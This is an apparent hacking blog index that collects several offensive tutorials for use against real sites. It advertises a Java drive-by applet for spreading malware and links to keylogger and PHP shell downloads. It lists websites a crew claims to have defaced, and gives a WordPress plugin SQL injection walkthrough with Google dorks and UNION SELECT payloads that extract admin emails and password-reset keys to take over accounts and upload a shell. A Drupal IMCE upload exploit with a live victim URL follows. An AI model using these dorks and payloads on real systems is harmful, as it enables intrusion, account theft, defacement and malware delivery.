You are here: » Home » All posts

Windows Using a Java Drive by | Detailed video tutorial

12:08 AM Devendra

What is a Java drive ?

A Java Drive-By is a Java Applet that is coded in Java and is put on a website. Once you click "Run" on the pop-up, it will download a program off the internet. This program can be a virus or even a simple downloader. If you'd like to get the source code or wanna know more information about a Java Drive-By, use Google.

Here is a detailed video tutorial of java drive >>

Downlaod Java drive files from here

Download keylogger from here

[Read More...]

Several Websites hacked by Team indihex | Indian hacking crew

3:30 AM Devendra

Indian hacking crew Team indi hex has made there come back after many months.
as they have given payback to BD hacker for hacking ICP website!

Hackers from team indihex D_intrud3r , Un_n0n Antil0g defaced several websites.
including bangladesh website as a payback !!!
Previoiusly hackers of Team indi hex also took down more than 5000 websites of bangladesh , which resulted in end of cyber war between India and bangladesh.

Here is the list of websites hacked by D_Intrud3r & Un_n0n Antilog

++++++++++++++++++++++++++++++
http://cpsbd.info/
mirror>> http://www.hack-db.com/134584.html

++++++++++++++++++++++++++++++++++

other websites:

http://juliaponomarenko.ru/indihex.html

http://www.kepplar.com/indihex.html

http://airsoftrate.ru/indihex.html

http://www.signmaking-consult.de/indihex.html

http://www.easysign-software.de/indihex.html

http://www.graphtec-signplotter.de/indihex.html

http://www.mline-computer.com/indihex.html

http://www.summa-signplotter.de/indihex.html

http://me.airsoftrate.ru/indihex.html

http://www.vv-concept.de/indihex.html

http://yii.airsoftrate.ru/indihex.html

More pwnage coming s00n by t3am indih3x!!!!!

[Read More...]

How to hack wordpress website with Sqli vul.+ shell upload+ deface [video]

3:50 AM Devendra

As requested by few of you i decided to make this small tutorial on how to hack a wordpress site that has an SQLi in plugin.
watch this video tutorial for more help:

So lets begin.
I will use this 0day by JoinSeventh.

First of all we need to find a vulnerable page.
We enter this in Google:

Code:

# Dork 1 (config.php)
inurl:"/wp-content/plugins/hd-webplayer/config.php?id="

# Dork 2 (playlist.php)
inurl:"/wp-content/plugins/hd-webplayer/playlist.php?videoid="

# Dork 3 (General):
inurl:"/wp-content/plugins/hd-webplayer/"

When you found your site you need to find admin email and username.
I will be using this site for example:

Code:

http://www.website.com/wp-content/plugins/hd-webplayer/playlist.php?videoid=3

When i add ' text disappears so it is vulnerable.

NOTE: I will not demonstrate how to SQL inject.

Now we need admin username and email.
We need to inject:

Code:

http://www.
website .com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_email,0x3b),5,6,7,8,9,10,11 FROM wp_users--

Now we have 2 users.

We pick one and copy his email.
Go to the login page of the site.
It is usually here:

Code:

http://www.site.com/wp-login.php

And press "Lost your password?"

Now you enter either username or email.
We can enter both so it doesnt matter.
I entered email.

[Image: regionby.png]

Now when you got:

"Check your e-mail for the confirmation link."

It means that reset key is successfully sent.
Now we need to get the activation key.

Go back to the syntax you used for extracting email and username and do this:

Code:

http://www.
website .com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_email,0x3b),5,6,7,8,9,10,11 FROM wp_users--

Code:

http://www.
website .com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_activation_key,0x3b),5,6,7,8,9,10,11 FROM wp_users--

Voila!
Now we just need to reset it.

Go to:

Code:

wp-login.php?action=rp&key=resetkey&login=username

NOTE: Replace key= & login=

So my link will be:

Enter new password:

Login with new password and shell it.

Download php shell

[Read More...]

How to hack facebook message via email spoofing | video tut

7:18 AM Devendra

i have shared the same tut last year but i feel a video tut will be more better !!
watch this video tutorial
with this trick you can send messages from your friends id to any one on facebook !!!!

[Read More...]

How to Crack/patch softwares | ollydbg reverse engineering

9:28 AM Devendra

Crack the code

Reverse engineering is basically the reverse process of Engineering. Software reverse engineering involves reversing a program’s machine code (the string of 0s and 1s that are sent to the logic processor) back into the source code that it was written in, using program language statements. Normally we use dissemblers to view the assembly language instructions of a software rather than binary code (0s and 1s) which are difficult to play around.

you can aslo reverse the keylogger/RAT servers to get the information of hacker u can play with many softwares which have no encryption nd good security :D!!

OllyDbg

OllyDbg

OllyDbg is a 32-bit assembler level analysing debugger for Microsoft^® Windows^®. Emphasis on binary code analysis makes it particularly useful in cases where source is unavailable. OllyDbg is a shareware, but you can download

i am gonna show you a tutorial for exapmle in below video:

tutorial link : http://www.youtube.com/watch?v=nsGS1El3Sd0&feature=youtu.be

Cracking WInRAr with ollydbg Reverse engineering tool

[Read More...]

Remote file upload vulnerbility | Durpal IMCE Mkdir remote File upload exploit

9:39 AM Devendra

This is a very simple remote file upload exploit on drupal in which you can upload defaces,jpgs,php,asp,shell.asp;me ..etcetc
Google Dorks :

inurl:"/imce?dir="

intitle:"File Browser"

exploit :

http://website.com/imce?dir=

Shell Access :

http://website.com/files/yourfilehere

http://www.website.com/abc/files/abc/yourfilehere

live exapmle:
http://www.music-orality-roots.eu/sites/default/files/events/inrud3rdev_1.jpg